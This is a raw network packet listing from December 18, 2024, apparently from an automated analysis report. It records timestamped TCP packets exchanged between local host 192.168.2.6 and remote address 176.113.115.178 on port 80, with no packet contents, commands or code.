Dec 18, 2024 13:49:49.624515057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.624975920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.625031948 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.625263929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.625636101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.625713110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.626303911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.626770020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.627115011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.627355099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.627520084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.627613068 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.628257036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.628496885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.628927946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.629343987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.629515886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.629822016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.630284071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.630534887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.630670071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.631369114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.631648064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.631724119 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.632287979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.632531881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.632591009 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.633315086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.633621931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.633713961 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.634404898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.634591103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.634656906 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.635363102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.635910034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.636401892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.636483908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.636579990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.637490988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.637525082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.637547016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.637712955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.638382912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.638577938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.638642073 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.639410019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.639627934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.639682055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.640490055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.640657902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.640778065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.641504049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.641673088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.641740084 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.642445087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.642752886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.642848969 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.643476009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.643795967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.643918991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.644418955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.644687891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.645104885 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.645395994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.645632029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.645761967 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.646485090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.646667004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.646786928 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.647427082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.647660017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.647713900 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.648364067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.648611069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.648994923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.649743080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.650105953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.650172949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.650425911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.651016951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.651243925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.651408911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.696878910 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.791470051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.791635990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.791732073 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.792094946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.792459965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.792535067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.792840958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.793229103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.793477058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.793587923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.794250965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.794312000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.794495106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.795293093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.795353889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.795581102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.796277046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.796462059 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.796480894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.797386885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.797492027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.797738075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.798594952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.798686981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.798824072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.799279928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.799360037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.799563885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.800295115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.800559998 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.800580978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.801506996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.801554918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.801639080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.802584887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.802675962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.802711010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.803364992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.803440094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.803524971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.804315090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.804372072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.804547071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.805387974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.805448055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.805551052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.806395054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.806454897 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.806565046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.807373047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.807441950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.807579994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.808317900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.808384895 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.808640957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.809346914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.809489012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.809566975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.810329914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.810684919 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.810699940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.811374903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.811440945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.811605930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.812381029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.812436104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.812653065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.813400984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.813510895 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.813806057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.815232992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.815247059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.815335989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.816978931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.817106009 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.817931890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.820269108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.820282936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.820328951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.822069883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.822175980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.823002100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.823986053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.824023962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.824878931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.825850010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.825865984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.825876951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.825939894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.825939894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.826839924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.826867104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.826920986 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.827769995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.828656912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.828669071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.828804016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.829516888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.829572916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.829596996 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.830451965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.830465078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.830507040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.831427097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.831439018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.831535101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.832339048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.832379103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.832397938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.833323956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.833384991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.833430052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.834575891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.834590912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.834603071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.834624052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.834676981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.835352898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.835365057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.835436106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.836229086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.836241961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.836956978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.836983919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.837004900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.837070942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.837989092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.838001966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.838012934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.838108063 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.838902950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.838913918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.839082956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.839890957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.839904070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.840039968 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.840703011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.840715885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.840764046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.841763973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.841777086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.841952085 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.842775106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.842787027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.842797041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.842850924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.842850924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.843547106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.843559027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.843610048 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.844527006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.844538927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.844743967 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.845405102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.845432997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.845566988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.846388102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.846401930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.846411943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.846518040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.995692015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.995860100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.995997906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.996105909 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.996390104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.996496916 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.996963024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.997319937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.997370005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.997956038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.998197079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.998277903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.999032021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.999229908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:49.999506950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:49.999974966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.000196934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.000268936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.001009941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.001163960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.001262903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.001960039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.002207994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.002460957 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.002964020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.003194094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.003231049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.004045963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.004262924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.004323959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.005022049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.005219936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.005326033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.007323980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.008193016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.008205891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.008222103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.008245945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.008347988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.009110928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.009943008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.010204077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.010471106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.010492086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.010567904 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.012346029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.012360096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.012448072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.013288021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.013298988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.013397932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.014050961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.014085054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.014297962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.015961885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.015976906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.016037941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.016928911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.017864943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.017924070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.017966986 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.018713951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.018733978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.018765926 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.019701958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.019730091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.019742012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.019815922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.019815922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.020610094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.021609068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.021620989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.021742105 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.022484064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.022500992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.022573948 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.023406029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.023420095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.023432016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.023519039 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.023519039 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.024327040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.024339914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.024411917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.025149107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.025165081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.025254011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.026020050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.026034117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.026201010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.026978970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.026992083 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.027076960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.027686119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.027698040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.027760983 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.028608084 CET	80	49822	176.113.115.178	192.168.2.6
